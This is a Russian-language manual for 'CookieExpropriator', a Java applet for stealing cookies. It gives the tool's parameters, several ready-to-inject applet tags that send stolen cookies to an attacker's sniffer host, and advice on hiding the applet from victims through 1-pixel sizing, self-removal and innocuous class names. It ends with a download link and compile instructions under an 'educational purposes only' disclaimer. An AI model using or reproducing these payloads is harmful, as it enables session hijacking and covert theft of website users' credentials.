CookieExpropriator - апплет для перехвата cookie.
В последней бета-версии Opera 10.50 кросс-сайт-трейсинговая уязвимость была исправлена. Ява плагин унифицирован под общие стандарты. Нативный лайв-коннект упразднен, хотя информацию о таких намерениях в FF 3.6 первой опубликовала Мозилла.
Возможности
Апплет тестировался на JAVA 6 update 14 (основной функционал и на JAVA 6 update 1) в браузерах IE 6-8, FF 2-3, Opera 9.64-10b, Safari 3-4.0.2, Google Chrome 2 под Windows (в том числе с отключенными плагинами нового поколения), не основан на уязвимостях и
предназначен для:
[Первое] перехвата cookie от базы кода и/или базы документа, иного доверенного сайта при помощи выполнения get- или trace- java-запросов.
1. Перехват cookie от БАЗЫ КОДА или ИНОГО ДОВЕРЕННОГО САЙТА
Действует ограничение:
1) Opera 9-й ветки c отключенным JS требует наличия скрытого ифрейма на странице для получения TRACE-ответа.
2. Перехват cookie от БАЗЫ ДОКУМЕНТА
Здесь действуют следующие объективные ограничения:
1) Д.б. включен JS
2) FF, IE могут получать cookie от базы документа методами TRACE и GET, Safari и Chrome читают document.cookie. Opera - только методом TRACE, если указан GET - прочитает document.cookie.
3. Ограничения общего характера:
1) Opera не может перехватывать cookie при помощи get-запросов (подробности в статье).
2) Safari с отключенным JS на данный момент не может выполнить ни один апплет (ошибка).
[Второе] отправки результата сниффер.
Действует ограничение:
1) Если сниффер находится на недоверенном хосте, и в браузере выключен JS, то отправка результата на сторонний хост производится только при наличии на странице ифрейма (желательно скрытого). Для снятия ограничения, дабы не внедрять вместе с тегом апплета ещё и ифрейм, разместите на сайте со сниффером кроссдоменный сертификат.
[Третье] при запуске апплета можно указать, чтобы соединение проходило через http-прокси.
Действуют ограничения:
1) Opera не поддерживает проксирование.
2) Если вы хотите получать возможные ошибки проксирования, то ваш кеширующий прокси должен перехватывать querystring при прямых запросах к нему (апплет напрямую шлет ошибки прокси).
Апплет управляется с помощью параметров
1. from [docbase, codebase, http://vulnsite.xz, ,] - адрес источника cookie, по умолчанию - адрес архива или class-файла (то есть база документа + файл -> это обеспечивает положительный ответ сервера на наш запрос). Пробел воспринимается как умолчание.
2. method [get, trace, ,] - по умолчанию get.
3. s [http://mysnif.xz/s.gif] - адрес вашего сниффера.
4. proxyhost [http://myproxy.xz],
proxyport [число] - хост и порт HTTP-прокси, порт по умолчанию - 80.
5. output - указывается для вывода в java-консоль отправляемого на сниффер результата. Используется для предварительных тестов и не требует значений.
6. frame [имя фрейма] - параметр подтверждает наличие вашего/невашего скрытого фрейма/ифрейма/окна, который/ое может использоваться апплетом для нужд запроса к недоверенному ресурсу в случае отключения JS пользователем. Значение параметра - это д.б. реальное имя фрейма (атрибут name).
[*] Указание протокола во всех параметрах необязательно.
[**] Значения параметров
from,
method могут перечисляться через запятую [
,] , что соответствует оригинальному синтаксису. При этом первый метод будет соответствовать первому источнику (from) и так далее.
[***] Остальные параметры стандартны, о них можете прочитать в статье и в доп. источниках, приводимых в конце.
Примеры запуска
1. Перехват cookie от базы документа методом GET, в который внедрен тег applet, а загрузка class-файла происходит с нашего сайта [http://mysite.xz/bla/CExpr.class], с отправкой на сниффер результата
<applet width=1 height=1 code=CExpr.class codebase=http://mysite.xz/bla from=docbase s=http://mysnif.xz/s.gif></applet>
2. То же методом TRACE с выводом на консоль результата
<applet width=1 height=1 code=CExpr.class codebase=http://mysite.xz/bla from=docbase method=trace s=http://mysnif.xz/s.gif output></applet>
3. От базы кода
<applet width=1 height=1 code=CExpr.class codebase=http://vulnsite.xz/bla s=http://mysnif.xz/s.gif></applet>
4. От стороннего сайта
<applet width=1 height=1 code=CExpr.class from=http://somesite.xz/good/bad/ugly.html codebase=http://mysite.xz/bla s=http://mysnif.xz/s.gif java_arguments='-Djnlp.altCrossDomainXMLFiles=http://somesite.xz/good/crossdomain.xml'></applet>
5. От базы документа методами TRACE и GET
<applet width=1 height=1 code=CExpr.class codebase=http://mysite.xz/bla from=docbase,docbase method=get,trace s=http://mysnif.xz/s.gif></applet>
6. В условиях, когда сайт не предоставляет правильную ссылку на class файл (например, в конце URL нужны параметры), необходимо использовать архивирование. Допустим, ссылка на архив выглядит как http://vulnsite.xz/myjar.jar?blo=blo , тогда
<applet width=1 height=1 code=CExpr.class archive=myjar.jar?blo=blo codebase=http://vulnsite.xz s=http://mysnif.xz/s.gif></applet>
7. Вариант, учитывающий возможность отключения JS пользователем
<iframe name=lo width=0 height=0 frameborder=0></iframe>
<applet frame=lo width=1 height=1 code=CExpr.class codebase=http://mysite.xz/bla from=docbase method=trace s=http://mysnif.xz/s.gif output></applet>
8. Google Chrome 2 в качестве параметров апплета воспринимает только заранее предопределенные в HTML атрибуты тега. Поэтому, если вы рассчитываете и на этот браузер, придётся все управляющие параметры писать в теге PARAM (в целом так правильнее)
<applet width=1 height=1 code=CExpr.class codebase=http://mysite.xz/bla>
<param name=from value=docbase>
<param name=method value=trace>
<param name=s value=http://mysnif.xz/s.gif>
<param name=output>
</applet>
9. Если не желаете передавать параметры явным образом, то можете изменить переменные класса непосредственно в исходном коде с перекомпиляцией
*.
Внешние признаки запуска апплета
- Opera никак не сигнализирует, что запущен апплет.
- Остальные браузеры, поддерживающие плагины второго поколения, показывают в трее иконку JVM. Доступ к ней запрещен менеждером безопасности, поэтому всё, что можно сделать, это по окончании работы апплета с помощью JS удалить узел апплета из DOM-дерева, после чего иконка исчезнет ровно через 1 минуту. В Google Chrome она исчезает сразу. Однако, если на странице продолжаются запуски java (например, продолжает работать механизм получения cookie от базы документа), то иконка останется.
- Tакже возможно, что апплет выдаст себя при загрузке, показав прогрессбар. Именно во избежание данной угрозы размеры его показа минимизируются до 1 пикселя, также не будет лишним стилевое сокрытие с пом. visibility:hidden (ни в коем случае не display:none!).
- В некоторых браузерах сообщение о запуске апплета может появляться в статус баре, поэтому имя классу следует давать попроще (уж никак не CookieExpropriator...) Единственное требование - принцип уникальности: сочетание символов названия класса не должно содержаться в других тегах, поскольку для самоудаления апплет ищет себя в документе по имени класса.
Сказанное означает, что апплет - это достаточно заметный инструмент для организации перехвата cookie у основной массы пользователей и незаметный, если используется браузер Opera.
СКАЧАТЬ: _http://cookieexpropriator.googlecode.com/files/CExpr.rar
ВИДЕО: _http://cookieexpropriator.googlecode.com/files/cexpr_v.rar
Апплет создан исключительно в познавательных целях. Автор не несет ответственности ни за что.
-------
* Компиляция кода происходит только при указании пути к plugin.jar, где находится класс
netscape.javascript.JSObject, в переменной
-classpath. Если у вас не прописаны переменные среды, команда компиляции будет выглядеть примерно так:
Код:
"C:\Program Files\Java\jdk1.6.0_14\bin\javac.exe" -classpath "C:\Program Files\Java\jdk1.6.0_14\jre\lib\plugin.jar" "C:\[путь к вашему файлу java]\CExpr.java"